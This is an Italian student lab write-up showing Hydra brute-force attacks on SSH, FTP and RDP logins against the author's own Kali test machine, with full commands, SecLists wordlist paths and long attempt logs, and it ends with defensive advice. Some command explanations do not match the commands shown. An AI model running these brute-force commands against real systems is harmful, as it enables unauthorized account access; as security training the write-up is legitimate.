

Authentication cracking con Hydra

Introduzione

L'esercizio di oggi ha l'obiettivo di approfondire le tecniche di attacco e configurazione dei servizi di rete, con un focus particolare sull'utilizzo dello strumento **Hydra** per il cracking delle credenziali di autenticazione. In un contesto di penetration testing, è fondamentale sia saper configurare correttamente i servizi di rete sia comprendere le potenzialità di strumenti come Hydra per individuare vulnerabilità legate all'autenticazione.

Il lavoro si sviluppa in due fasi principali. La prima fase prevede l'abilitazione di un servizio **SSH** (Secure Shell), seguito dalla dimostrazione pratica del cracking della sua autenticazione tramite Hydra. La seconda fase, invece, offre una maggiore libertà di scelta, permettendo di configurare e attaccare un servizio di rete a scelta tra quelli disponibili, come **FTP**, **RDP**, **Telnet** o l'autenticazione **HTTP**.

L'esercizio si propone di migliorare le competenze pratiche relative alla configurazione dei servizi di rete e al testing delle loro vulnerabilità, consolidando al contempo la conoscenza delle modalità di autenticazione e delle tecniche di cracking per garantire una comprensione completa della sicurezza dei sistemi.

1. Creazione dell'utente di test

```
(kali㉿kali)-[~]
$ sudo adduser test_user

[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y

(kali㉿kali)-[~]
$
```

Per avviare l'attacco di cracking dell'autenticazione SSH, il primo passo consiste nella creazione di un utente di test con credenziali conosciute, che saranno poi utilizzate durante l'esercizio. In questa fase, è stato creato un utente denominato **test_user**, con una password di facile individuazione, che fungerà da target per l'attacco di cracking.

2. Verifica dell'accesso SSH per l'utente di test

Una volta creato l'utente **test_user** e assegnata la relativa password, è stata effettuata una verifica

```
$ ssh test_user@192.168.1.188
The authenticity of host '192.168.1.188 (192.168.1.188)' can't be established.
ED25519 key fingerprint is SHA256:0o9E5G3CPZ/B1PhdDpj90EmS9Wv0EksT3ZrCLBsB26A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.188' (ED25519) to the list of known hosts.
test_user@192.168.1.188's password:
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

preliminare per accertarsi che il servizio SSH fosse attivo e correttamente configurato, e che l'utente creato potesse accedervi.

Comando utilizzato: `ssh test_user@192.168.1.188`

Lo scopo di è quello di avviare una connessione SSH. L'accesso è

avvenuto con successo, confermando che: il servizio SSH era correttamente attivo e in ascolto sulla porta 22, l'utente **test_user** è abilitato all'accesso remoto e credenziali inserite erano valide. Questa verifica è fondamentale per garantire la riuscita dell'esercizio successivo, in quanto consente di procedere con l'attacco di forza bruta tramite Hydra in un ambiente controllato e funzionante.

3. Installazione del pacchetto SecLists:

```
(kali@kali)~$ sudo apt install seclists
[sudo] password for kali:
Installing:
  seclists

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 6
  Download size: 533 MB
  Space needed: 1,816 MB / 61.4 GB available

Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 seclists all 2025.1-0kali1 [533 MB]
Fetched 533 MB in 10s (53.6 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 418908 files and directories currently installed.)
Preparing to unpack .../seclists_2025.1-0kali1_all.deb ...
Unpacking seclists (2025.1-0kali1) ...
Setting up seclists (2025.1-0kali1) ...
Processing triggers for kali-menu (2025.2.2) ...
Processing triggers for wordlists (2023.2.0) ...
```

Per eseguire un attacco di forza bruta efficace con Hydra, è necessario disporre di una wordlist contenente una serie di nomi utente e password comunemente utilizzati o potenzialmente deboli.

A tal fine, abbiamo installato il pacchetto **SecLists**, al suo interno si trovano diverse directory tematiche, tra cui:

- Passwords/
- Usernames/
- Fuzzing/
- Discovery/

Per questo esercizio, verranno utilizzate in particolare le wordlist contenute nella cartella Passwords per effettuare il cracking delle credenziali SSH con Hydra.

4. Comando Hydra per il Brute Force su SSH

```
(kali@kali)~$ hydra -l test_user -p testpass 192.168.1.188 -t 1 ssh
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:27:59
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.188:22/
[22][ssh] host: 192.168.1.188  login: test_user  password: testpass
1 of 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 05:27:59
```

Il comando Hydra viene utilizzato per eseguire un attacco di forza bruta contro un servizio SSH al fine di testare la sicurezza delle credenziali di accesso, utilizzando un nome utente e una password specifici.

Esecuzione del Comando:

L'attacco di forza bruta cercherà di autenticarsi sulla macchina target (192.168.1.188) utilizzando il nome utente `test_user` e la password `testpass`. Ogni tentativo di accesso verrà effettuato uno alla volta, utilizzando un singolo thread per minimizzare il rischio di errori o di blocchi da parte del sistema di protezione dell'host.

Considerazioni sulla Sicurezza:

Gli attacchi di forza bruta sono metodi potenzialmente dannosi e devono essere condotti solo con il consenso del proprietario del sistema target. Gli amministratori di sistema dovrebbero implementare politiche di sicurezza come il blocco degli account dopo un numero definito di tentativi di accesso falliti, l'uso di chiavi SSH anziché password e la protezione con firewall per prevenire attacchi simili.

5. Cracking SSH

Spieghiamo la funzione di ciascun parametro:

**hydra -L /usr/share/seclists/Usernames/CommonAdminBase64.txt **

**-P /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt **

-t 1 -w 5 -s 22 -V -f ssh://192.168.1.188

```
kali@kali:~$ hydra -l /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt \
-t 1 -w 5 -s 22 -V -f ssh://192.168.1.188

Hydra v0.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:28:14
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 56387 login tries (1:113/p:499), ~56387 tries per task
[DATA] attacking ssh://192.168.1.188:22/
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "123456" - 1 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "password" - 2 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "12345678" - 3 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "1234" - 4 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "pussy" - 5 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "12345" - 6 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "dragon" - 7 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "qwerty" - 8 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "666666" - 9 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "mustang" - 10 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "letmein" - 11 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "baseball" - 12 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "master" - 13 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "michael" - 14 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "football" - 15 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "shadow" - 16 of 56387 [child 0] (0/0)
[STATUS] 16.00 tries/min, 16 tries in 00:01h, 56371 to do in 58:44h, 1 active
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "monkey" - 17 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "abc123" - 18 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "pass" - 19 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "fuckme" - 20 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "6969" - 21 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "jordan" - 22 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "harley" - 23 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "ranger" - 24 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "iwantu" - 25 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "jennifer" - 26 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "hunter" - 27 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "fuck" - 28 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "2000" - 29 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "text" - 30 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "batman" - 31 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "trustno1" - 32 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "thomas" - 33 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "tiger" - 34 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "robert" - 35 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "access" - 36 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "love" - 37 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "buster" - 38 of 56387 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "root:cm9vDAm=" - pass "1234567" - 39 of 56387 [child 0] (0/0)
```

Spiegazione di ciascun parametro:

- **-L /usr/share/seclists/Usernames/CommonAdminBase64.txt:** specifica il file contenente la lista di nomi utente da testare. In questo caso, si utilizza un file chiamato CommonAdminBase64.txt, che potrebbe contenere username comuni o codificati in Base64.
- **-P /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt:** specifica il file contenente la lista di password da provare per ogni nome utente. In questo caso, viene utilizzato un file che contiene una lista di 500 password più comuni.
- **-t 1:** imposta il numero di thread simultanei per i tentativi di login. In questo caso, è impostato su 1, quindi i tentativi verranno fatti uno alla volta.
- **-w 5:** imposta un timeout di attesa di 5 secondi per ciascun tentativo di login. Se non arriva una risposta dal server entro 5 secondi, Hydra passa al tentativo successivo.
- **-s 22:** indica la porta a cui Hydra deve connettersi. La porta 22 è quella standard per SSH.
- **-V:** abilita la modalità verbosa (verbose), che fornisce una panoramica dettagliata dei tentativi effettuati, mostrando ogni combinazione di username e password che Hydra sta testando.
- **-f:** interrompe l'attacco non appena viene trovata una combinazione valida di username e password.
- **ssh://192.168.1.188:** è l'indirizzo IP e il protocollo del servizio a cui Hydra sta cercando di connettersi. In questo caso, si tratta di un servizio SSH in esecuzione su 192.168.1.188.

Sommario del comando:

Il comando esegue un attacco di brute force su un server SSH all'indirizzo IP 192.168.1.188.

Hydra tenterà tutte le combinazioni di username (dal file CommonAdminBase64.txt) e password (dal file 500-worst-passwords.txt). Il test avviene uno alla volta (-t 1), con una pausa di 5 secondi tra un tentativo e l'altro (-w 5). Se viene trovata una combinazione valida di username e password, l'attacco si interrompe (-f). La modalità verbosa (-V) mostrerà i dettagli di ogni tentativo effettuato.

Possiamo anche creare noi delle liste, per velocizzare tutti i processi in modo da non sprecare tempo:

```
(kali@kali) ~$ cat /usr/share/seclists/Username/xato-net-10-million-usernames.txt | head -n 20 > ./usernames_corti.txt
(kali@kali) ~$ cat usernames_corti.txt
info
admin
2000
michael
john
david
robert
chris
mike
dave
richard
123456
thomas
steve
mark
andrew
daniel
george
paul
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
```

con il comando cat
/usr/share/seclists/Username/xato-net-10-million-usernames.txt | head -n 20 > ./usernames_corti.txt – estraiamo le prime 20 righe degli users, avviandolo vediamo il suo funzionamento con cat usernames_corti.txt.
Facciamo lo stesso per le password:
cat
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt | head -n 100 > ./passwords_corte.txt -
Avviamo anche questo e osserviamo il risultato elencato correttamente (cat passwords_corte.txt)

A questo punto avviamo Hydra con :

```
hydra -L ./usernames_corti.txt -P ./passwords_corte.txt -t 4 -V -f ssh://192.168.1.188
```

Spiegazione del comando:

- **-L ./usernames_corti.txt**: indica il percorso del file con gli username (in questo caso, usernames_corti.txt).
- **-P ./passwords_corte.txt**: indica il percorso del file con le password (in questo caso, passwords_corte.txt).
- **-t 4**: definisce il numero di **thread** (processi simultanei) che Hydra userà per i tentativi. Puoi aumentarlo per velocizzare il processo (ad esempio -t 4 è buono per non sovraccaricare il sistema).
- **-V**: fa sì che Hydra mostri ogni tentativo che fa (utile per vedere i tentativi e per il debug).
- **-f**: indica che Hydra si fermerà **non appena trova una combinazione valida**.
- **ssh://192.168.1.188**: è il protocollo e l'indirizzo del target (in questo caso un server SSH locale).

Ed ecco il risultato finale

```
(kali@kali) ~$ hydra -L ./usernames_corti.txt \
-P ./passwords_corte.txt \
-t 4 -V -f ssh://192.168.1.188
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 06:54:28
[DATA] max 4 tasks per 1 server, overall 4 tasks, 2000 login tries (1:20/p:100), ~500 tries per task
[DATA] attacking ssh://192.168.1.188:22/
[ATTEMPT] target 192.168.1.188 - login "info" - pass "123456" - 1 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "password" - 2 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "12345678" - 3 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "qwerty" - 4 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "123456789" - 5 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "12345" - 6 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "1234" - 7 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "111111" - 8 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "1234567" - 9 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "dragon" - 10 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "123123" - 11 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "baseball" - 12 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "abc123" - 13 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "football" - 14 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "monkey" - 15 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "letmein" - 16 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "666666" - 17 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "shadow" - 18 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "master" - 19 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "qwertyuiop" - 20 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "123321" - 21 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "mustang" - 22 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "1234567890" - 23 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "michael" - 24 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "654321" - 25 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "pussy" - 26 of 2000 [child 0] (0/0)
```


Esercizio Fase 2

Configurazione e Cracking del Servizio FTP

Obiettivo

L'obiettivo della seconda fase è configurare un servizio di rete, nello specifico un server FTP, e successivamente tentare di craccare l'autenticazione utilizzando Hydra. Questo esercizio aiuterà a comprendere la configurazione di un servizio di rete comune e le vulnerabilità legate all'autenticazione tramite attacchi di forza bruta.

Procedura

Una volta seguita l'operazione suggerita nelle slide, dopo l'installazione procediamo all'avvio del processo e alla verifica del suo status.

```
(kali@kali)-[/usr/share/seclists]
$ sudo service vsftpd start

(kali@kali)-[/usr/share/seclists]
$ sudo service vsftpd status

● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2025-05-09 06:26:30 EDT; 7s ago
 Invocation: 55c836bffe8342a6b67b388f2f9ce238
   Process: 88117 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
  Main PID: 88119 (vsftpd)
    Tasks: 1 (limit: 2214)
   Memory: 904K (peak: 1.8M)
      CPU: 6ms
   CGroup: /system.slice/vsftpd.service
           └─88119 /usr/sbin/vsftpd /etc/vsftpd.conf

May 09 06:26:30 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
May 09 06:26:30 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

ATTACCO FTP

Passiamo ora all'attacco del server FTP tramite il comando:

```
hydra -L ./usernames_corti.txt -P ./passwords_corte.txt -t 4 -V -f ftp://192.168.1.188.
```

Risultato dell'attacco:

Una volta completato l'attacco, Hydra ha trovato la combinazione corretta di credenziali per il login al server FTP. Il risultato è stato il seguente:

```
[ATTEMPT] target 192.168.1.188 - login "info" - pass "6969" - 89 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "nicole" - 90 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "chelsea" - 91 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "biteme" - 92 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "matthew" - 93 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "access" - 94 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "yankees" - 95 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "987654321" - 96 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "dallas" - 97 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "austin" - 98 of 2000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "thunder" - 99 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "taylor" - 100 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "admin" - pass "123456" - 101 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "admin" - pass "password" - 102 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "admin" - pass "12345678" - 103 of 2000 [child 3] (0/0)
[21][ftp] host: 192.168.1.188 login: admin password: password
[STATUS] attack finished for 192.168.1.188 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 08:25:43
```

Questo indica che l'account **admin** con la password **password** è stato identificato come valido per l'accesso al server FTP all'indirizzo IP **192.168.1.188**.

RDP (Remote Desktop Protocol)

Abbiamo anche provato a farlo per RDP.

Il comando è simile a quello per FTP, ma il protocollo cambia in rdp://.

Comando usato: `hydra -L ./usernames_corti.txt -P ./passwords_corte.txt -t 4 -V -f rdp://192.168.1.188`

```
root@kali:~# hydra -L ./usernames_corti.txt -P ./passwords_corte.txt -t 4 -V -f rdp://192.168.1.188
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 08:33:11
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 2000 login tries (l:20/p:100), ~500 tries per task
[DATA] attacking rdp://192.168.1.188:3389/
[ATTEMPT] target 192.168.1.188 - login "info" - pass "123456" - 1 of 2000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "password" - 2 of 2000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "12345678" - 3 of 2000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.188 - login "info" - pass "qwerty" - 4 of 2000 [child 3] (0/0)
[3389]rdp account on 192.168.1.188 might be valid but account not active for remote desktop: login: info password: 123456, continuing attacking the account.
[ATTEMPT] target 192.168.1.188 - login "info" - pass "123456789" - 5 of 2000 [child 0] (0/0)
[3389]rdp account on 192.168.1.188 might be valid but account not active for remote desktop: login: info password: 12345678, continuing attacking the account.
[ERROR] freerdp: The connection failed to establish.
[ATTEMPT] target 192.168.1.188 - login "info" - pass "12345" - 6 of 2000 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.1.188 - login "info" - pass "password" - 6 of 2000 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.1.188 - login "info" - pass "qwerty" - 6 of 2000 [child 3] (0/0)
[3389]rdp account on 192.168.1.188 might be valid but account not active for remote desktop: login: info password: password, continuing attacking the account.
[ATTEMPT] target 192.168.1.188 - login "info" - pass "1234" - 7 of 2000 [child 1] (0/0)
[ERROR] freerdp: The connection failed to establish.
[RE-ATTEMPT] target 192.168.1.188 - login "info" - pass "qwerty" - 7 of 2000 [child 3] (0/0)
[3389]rdp account on 192.168.1.188 might be valid but account not active for remote desktop: login: info password: qwerty, continuing attacking the account.
[ATTEMPT] target 192.168.1.188 - login "info" - pass "111111" - 8 of 2000 [child 3] (0/0)
[3389]rdp account on 192.168.1.188 might be valid but account not active for remote desktop: login: info password: 123456789, continuing attacking the account.
[ATTEMPT] target 192.168.1.188 - login "info" - pass "1234567" - 9 of 2000 [child 0] (0/0)
[ERROR] freerdp: The connection failed to establish.
[RE-ATTEMPT] target 192.168.1.188 - login "info" - pass "12345" - 9 of 2000 [child 2] (0/0)
[3389]rdp account on 192.168.1.188 might be valid but account not active for remote desktop: login: info password: 12345, continuing attacking the account.
[ATTEMPT] target 192.168.1.188 - login "info" - pass "dragon" - 10 of 2000 [child 2] (0/0)
[ERROR] freerdp: The connection failed to establish.
```

Conclusione

L'esercitazione svolta ha permesso di acquisire una solida comprensione pratica delle tecniche di attacco brute force contro diversi servizi di rete, attraverso l'utilizzo dello strumento Hydra.

Dopo aver configurato correttamente un ambiente controllato, sono stati simulati attacchi verso servizi SSH, FTP, RDP dimostrando l'efficacia di semplici combinazioni username/password deboli nel compromettere l'accesso ai sistemi.

Questo tipo di simulazioni evidenzia quanto sia fondamentale, in un'ottica difensiva, adottare contromisure appropriate: implementare policy di password robuste, abilitare sistemi di blocco automatico dopo ripetuti tentativi falliti, utilizzare meccanismi di autenticazione più sicuri (come le chiavi SSH), e mantenere monitorati costantemente i servizi esposti in rete.

In definitiva, l'attività ha rafforzato le competenze relative sia alla configurazione dei servizi di rete che alla loro valutazione dal punto di vista della sicurezza, fornendo uno scenario realistico per applicare i concetti teorici del penetration testing.

Anais Fabriani
09/05/2025